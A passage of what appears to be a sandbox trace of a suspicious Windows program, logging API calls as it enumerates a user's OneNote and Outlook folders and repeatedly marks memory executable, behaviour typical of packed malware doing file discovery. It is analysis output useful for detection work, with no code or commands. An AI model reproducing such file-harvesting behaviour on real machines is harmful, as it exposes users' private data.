pbstr=0x1e7dfc9c*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks", psz="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks", len=0x2d | out: pbstr=0x1e7dfc9c*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks") returned 1 [0166.021] SysReAllocStringLen (in: pbstr=0x1e7dfa1c*="C:\\Users\\aETAdzjz\\Documents\\Outlook Files\\*", psz="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\*", len=0x2f | out: pbstr=0x1e7dfa1c*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\*") returned 1 [0166.021] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\*", len=0x2f | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\*") returned 1 [0166.022] SysReAllocStringLen (in: pbstr=0x1e7dfa1c*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\*", psz="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\*", len=0x2f | out: pbstr=0x1e7dfa1c*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\*") returned 1 [0166.022] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\*", len=0x2f | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\*") returned 1 [0166.022] SysReAllocStringLen (in: pbstr=0x1e7dfa1c*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\*", psz="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\*", len=0x2f | out: pbstr=0x1e7dfa1c*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\*") returned 1 [0166.022] SysReAllocStringLen (in: pbstr=0x1e7df96c*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\*", len=0x2f | out: pbstr=0x1e7df96c*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\*") returned 1 [0166.022] SysReAllocStringLen (in: pbstr=0x1e7dfa1c*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\*", psz="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\*", len=0x2f | out: pbstr=0x1e7dfa1c*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\*") returned 1 [0166.022] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\*", lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8d4faba0, ftCreationTime.dwHighDateTime=0x1d2f189, ftLastAccessTime.dwLowDateTime=0x8d56cfc0, ftLastAccessTime.dwHighDateTime=0x1d2f189, ftLastWriteTime.dwLowDateTime=0x8d56cfc0, ftLastWriteTime.dwHighDateTime=0x1d2f189, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1e258c88 [0166.022] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\Outlook Files\\sdjwh@dive.djh.pst", psz="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\.", len=0x2f | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\.") returned 1 [0166.022] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\.", len=0x2f | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\.") returned 1 [0166.022] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\.", psz="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\.", len=0x2f | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\.") returned 1 [0166.022] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\.", len=0x2f | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\.") returned 1 [0166.022] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\.", psz="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\.", len=0x2f | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\.") returned 1 [0166.022] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\.", len=0x2f | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\.") returned 1 [0166.022] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\.", psz="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\.", len=0x2f | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\.") returned 1 [0166.023] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8d4faba0, ftCreationTime.dwHighDateTime=0x1d2f189, ftLastAccessTime.dwLowDateTime=0x8d56cfc0, ftLastAccessTime.dwHighDateTime=0x1d2f189, ftLastWriteTime.dwLowDateTime=0x8d56cfc0, ftLastWriteTime.dwHighDateTime=0x1d2f189, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0166.023] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\.", psz="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\..", len=0x30 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\..") returned 1 [0166.023] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\..", len=0x30 | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\..") returned 1 [0166.023] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\..", psz="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\..", len=0x30 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\..") returned 1 [0166.023] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\..", len=0x30 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\..") returned 1 [0166.023] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\..", psz="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\..", len=0x30 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\..") returned 1 [0166.023] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\..", len=0x30 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\..") returned 1 [0166.023] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\..", psz="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\..", len=0x30 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\..") returned 1 [0166.023] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8d56cfc0, ftCreationTime.dwHighDateTime=0x1d2f189, ftLastAccessTime.dwLowDateTime=0x90b22020, ftLastAccessTime.dwHighDateTime=0x1d2f189, ftLastWriteTime.dwLowDateTime=0x90b22020, ftLastWriteTime.dwHighDateTime=0x1d2f189, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Notebook", cAlternateFileName="MYNOTE~1")) returned 1 [0166.023] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\..", psz="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook", len=0x39 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook") returned 1 [0166.023] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook", len=0x39 | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook") returned 1 [0166.027] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x414000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x414000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.028] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.028] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.028] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.029] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.029] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.030] SysReAllocStringLen (in: pbstr=0x1e7df9b0*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook", psz="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook", len=0x39 | out: pbstr=0x1e7df9b0*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook") returned 1 [0166.030] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook", len=0x39 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook") returned 1 [0166.030] SysReAllocStringLen (in: pbstr=0x1e7df9b0*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook", psz="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook", len=0x39 | out: pbstr=0x1e7df9b0*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook") returned 1 [0166.030] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook", len=0x39 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook") returned 1 [0166.030] SysReAllocStringLen (in: pbstr=0x1e7df9b0*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook", psz="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook", len=0x39 | out: pbstr=0x1e7df9b0*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook") returned 1 [0166.030] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.030] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook", cchWideChar=57, lpMultiByteStr=0x1e7de974, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook4HGEn56P\x04", lpUsedDefaultChar=0x0) returned 57 [0166.031] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.031] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.031] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x406000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x406000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.032] SysReAllocStringLen (in: pbstr=0x1fd3c0b0*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook", len=0x39 | out: pbstr=0x1fd3c0b0*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook") returned 1 [0166.032] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8d56cfc0, ftCreationTime.dwHighDateTime=0x1d2f189, ftLastAccessTime.dwLowDateTime=0x90b22020, ftLastAccessTime.dwHighDateTime=0x1d2f189, ftLastWriteTime.dwLowDateTime=0x90b22020, ftLastWriteTime.dwHighDateTime=0x1d2f189, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Notebook", cAlternateFileName="MYNOTE~1")) returned 0 [0166.032] FindClose (in: hFindFile=0x1e258c88 | out: hFindFile=0x1e258c88) returned 1 [0166.032] SysReAllocStringLen (in: pbstr=0x1e7dfc9c*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks", psz="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook", len=0x39 | out: pbstr=0x1e7dfc9c*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook") returned 1 [0166.032] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook", len=0x39 | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook") returned 1 [0166.032] SysReAllocStringLen (in: pbstr=0x1e7dfc9c*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook", psz="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook", len=0x39 | out: pbstr=0x1e7dfc9c*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook") returned 1 [0166.032] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook", len=0x39 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook") returned 1 [0166.032] SysReAllocStringLen (in: pbstr=0x1e7dfc9c*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook", psz="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook", len=0x39 | out: pbstr=0x1e7dfc9c*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook") returned 1 [0166.033] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook", len=0x39 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook") returned 1 [0166.033] SysReAllocStringLen (in: pbstr=0x1e7dfc9c*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook", psz="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook", len=0x39 | out: pbstr=0x1e7dfc9c*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook") returned 1 [0166.033] SysReAllocStringLen (in: pbstr=0x1e7dfa1c*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\*", psz="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook\\*", len=0x3b | out: pbstr=0x1e7dfa1c*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook\\*") returned 1 [0166.033] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook\\*", len=0x3b | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook\\*") returned 1 [0166.033] SysReAllocStringLen (in: pbstr=0x1e7dfa1c*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook\\*", psz="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook\\*", len=0x3b | out: pbstr=0x1e7dfa1c*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook\\*") returned 1 [0166.033] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook\\*", len=0x3b | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook\\*") returned 1 [0166.033] SysReAllocStringLen (in: pbstr=0x1e7dfa1c*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook\\*", psz="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook\\*", len=0x3b | out: pbstr=0x1e7dfa1c*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook\\*") returned 1 [0166.033] SysReAllocStringLen (in: pbstr=0x1e7df96c*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook\\*", len=0x3b | out: pbstr=0x1e7df96c*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook\\*") returned 1 [0166.033] SysReAllocStringLen (in: pbstr=0x1e7dfa1c*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook\\*", psz="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook\\*", len=0x3b | out: pbstr=0x1e7dfa1c*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook\\*") returned 1 [0166.033] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook\\*", lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8d56cfc0, ftCreationTime.dwHighDateTime=0x1d2f189, ftLastAccessTime.dwLowDateTime=0x90b22020, ftLastAccessTime.dwHighDateTime=0x1d2f189, ftLastWriteTime.dwLowDateTime=0x90b22020, ftLastWriteTime.dwHighDateTime=0x1d2f189, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1e258c88 [0166.034] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook", psz="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook\\.", len=0x3b | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook\\.") returned 1 [0166.034] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook\\.", len=0x3b | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook\\.") returned 1 [0166.034] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook\\.", psz="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook\\.", len=0x3b | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook\\.") returned 1 [0166.034] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook\\.", len=0x3b | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook\\.") returned 1 [0166.034] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook\\.", psz="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook\\.", len=0x3b | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook\\.") returned 1 [0166.034] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook\\.", len=0x3b | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook\\.") returned 1 [0166.034] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook\\.", psz="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook\\.", len=0x3b | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook\\.") returned 1 [0166.035] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8d56cfc0, ftCreationTime.dwHighDateTime=0x1d2f189, ftLastAccessTime.dwLowDateTime=0x90b22020, ftLastAccessTime.dwHighDateTime=0x1d2f189, ftLastWriteTime.dwLowDateTime=0x90b22020, ftLastWriteTime.dwHighDateTime=0x1d2f189, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0166.035] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook\\.", psz="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook\\..", len=0x3c | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook\\..") returned 1 [0166.035] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook\\..", len=0x3c | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook\\..") returned 1 [0166.035] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook\\..", psz="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook\\..", len=0x3c | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook\\..") returned 1 [0166.035] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook\\..", len=0x3c | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook\\..") returned 1 [0166.035] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook\\..", psz="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook\\..", len=0x3c | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook\\..") returned 1 [0166.035] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook\\..", len=0x3c | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook\\..") returned 1 [0166.035] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook\\..", psz="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook\\..", len=0x3c | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook\\..") returned 1 [0166.035] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90ad5d60, ftCreationTime.dwHighDateTime=0x1d2f189, ftLastAccessTime.dwLowDateTime=0x90ad5d60, ftLastAccessTime.dwHighDateTime=0x1d2f189, ftLastWriteTime.dwLowDateTime=0x918137c0, ftLastWriteTime.dwHighDateTime=0x1d2f189, nFileSizeHigh=0x0, nFileSizeLow=0x1828, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Open Notebook.onetoc2", cAlternateFileName="OPENNO~1.ONE")) returned 1 [0166.036] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook\\..", psz="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook\\Open Notebook.onetoc2", len=0x4f | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook\\Open Notebook.onetoc2") returned 1 [0166.036] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook\\Open Notebook.onetoc2", len=0x4f | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook\\Open Notebook.onetoc2") returned 1 [0166.036] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook\\Open Notebook.onetoc2", psz="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook\\Open Notebook.onetoc2", len=0x4f | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook\\Open Notebook.onetoc2") returned 1 [0166.036] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook\\Open Notebook.onetoc2", len=0x4f | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook\\Open Notebook.onetoc2") returned 1 [0166.036] SysReAllocStringLen (in: 